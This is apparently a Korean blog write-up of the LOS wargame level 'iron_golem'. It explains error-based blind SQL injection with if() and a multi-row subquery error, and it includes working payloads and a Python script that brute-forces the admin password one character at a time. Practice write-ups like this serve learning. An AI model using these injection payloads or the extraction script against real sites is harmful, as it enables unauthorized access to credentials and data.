Network/LOS

[LOS_21]iron_golem

dcho 2019. 9. 5. 00:16
SMALL

이번문제는 

필터링 되는 부분 : sleep , benchmark

get 받는 파라미터 : pw

해결해야 되는 부분 : mysql 에러가 뜨면 종료하는데 정상적인 값으로 알아내야하고, blind sql injection을 통해 정확한 pw 값을 알아내야한다.

참값을 증명해주는 부분이 없다. 


문법이 에러가 나면 이런식으로 보여주는 식이다. 문법에러가 아닌 거짓값일때는 정상값으로 흘러가 구별하기가 쉽지 않다.

그렇다면 처음에 생각했던 blind sql injection 공격이 아닌 error based sql injection 기법으로 가야겠다. 왜냐하면 나에게 검증할 수 있는 부분은 

에러가 전부 이기 때문! 보통 if문으로 공격을 많이 한다.

mysql에서의 if문은 if(조건, 참, 거짓) 으로 나타낸다.

?pw=1' or id='admin' and if(pw,1,(select 1 union select 2))

으로 거짓일때 서브쿼리가 하나 이상의 레코드를 리턴하는 문장들에 대해 발생하는 에러가 나타나도록 했다.


?pw=1'or id='admin' and if(length(pw)=16,1,(select 1 union select 2)) %23


이를 이용하여 pw의 길이를 알아 내었다. 그 후 blind sql injection을 통해 하나하나 그 값을 알아 내면 될 것이다.


?pw=1'or id='admin' and if(ord(substr(pw,1,1))=33,1,(select 1 union select 2)) %23


직접 삽질로 잘되는지 시험해 본 결과 잘된다. 

근데 생각을 하다가 참일때 에러를 띄워 주는게 더 낫지 않을까 라고 생각이 들었다.

?pw=1'or id='admin' and if(ord(substr(pw,1,1))=33,(select 1 union select 2),1) %23

이제 페이로드 작성끝 자동화를 시켜야겠다.

import requests

headers = {"cookie": 'PHPSESSID=[Your Seesion ID]'} # 자신의 쿠키 값을 넣어준다.

for i in range(1, 17): # 큰 반복분 16자리 이기에 17까지
    for j in range(0, 123): # 작은 반복분 아스키코드 반복
        params = {'pw': "1' or id='admin' and if(ord(substr(pw," + str(i) + ",1))=" + str(j) + ",(select 1 union select 2),1) #"}

        r = requests.get(url, params=params, headers=headers)

        if "Subquery" in r.text: # 응답값에서 텍스트가 Subquery이면 출력하고 다음자리로
        print(chr(j), end='')
        break

돌린결과 !!!! 이렇게 느낌표 네개가 나온다 뒤에 나온것들을 한번 확인해 보았는데


다 널 값 처리가 된다.



클리어!

'Network > LOS' 카테고리의 다른 글

[LOS_22]dark_eyes  (0) 2019.09.05
[LOS_20]dragon  (0) 2019.08.30
[LOS_19]xavis  (0) 2019.08.30
[LOS_18]nightmare  (0) 2019.08.30
[LOS_17]succubus  (0) 2019.08.30